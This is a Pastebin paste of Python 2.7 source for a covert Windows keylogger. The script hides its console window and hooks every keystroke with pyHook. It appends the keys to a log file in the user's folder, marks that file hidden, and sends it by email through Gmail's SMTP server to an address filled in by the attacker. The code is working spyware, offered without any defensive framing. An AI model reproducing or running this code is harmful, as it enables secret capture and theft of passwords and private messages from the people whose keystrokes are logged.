Guest User

Python 2.7 Logger

a guest
Sep 5th, 2016
370
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.73 KB | None | 0 0
  1. import pyHook
  2. import pythoncom
  3. import win32gui
  4. import win32console
  5. import threading
  6. import getpass
  7. import string,time,sys,os,smtplib
  8. import win32con, win32api
  9. from email.mime.multipart import MIMEMultipart
  10. from email.mime.base import MIMEBase
  11. from email.mime.text import MIMEText
  12. from email import encoders
  13.  
  14. User = getpass.getuser()
  15. log_file = "C:\Users\%s\log_file6.txt"%User              
  16. window = win32console.GetConsoleWindow()  
  17. win32gui.ShowWindow(window,0)            
  18.  
  19. def sendText():  
  20.     fromaddr = "Emailfrom"
  21.     toaddr = "Emailto"    
  22.     msg = MIMEMultipart()    
  23.     msg['From'] = fromaddr
  24.     msg['To'] = toaddr
  25.     msg['Subject'] = "Test"  
  26.     body = "%s"%User    
  27.     msg.attach(MIMEText(body, 'plain'))    
  28.     filename = "log_file6.txt"
  29.     attachment = open("C:\Users\%s\log_file6.txt"%User, "rb")    
  30.     part = MIMEBase('application', 'octet-stream')
  31.     part.set_payload((attachment).read())
  32.     encoders.encode_base64(part)
  33.     part.add_header('Content-Disposition', "attachment; filename= %s" % filename)    
  34.     msg.attach(part)    
  35.     server = smtplib.SMTP('smtp.gmail.com', 587)
  36.     server.starttls()
  37.     server.login(fromaddr, "Password")
  38.     text = msg.as_string()
  39.     server.sendmail(fromaddr, toaddr, text)
  40.     server.quit()  
  41.  
  42.  
  43. def pressed_chars(event):      
  44.     if event.Ascii:
  45.         f = open(log_file,"a")  
  46.         win32api.SetFileAttributes(log_file,win32con.FILE_ATTRIBUTE_HIDDEN)
  47.         char = chr(event.Ascii)        
  48.         if event.Ascii == 13:  
  49.             f.write("\n")      
  50.         f.write(char)          
  51. sendText()
  52.  
  53. proc = pyHook.HookManager()      
  54. proc.KeyDown = pressed_chars    
  55. proc.HookKeyboard()              
  56. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment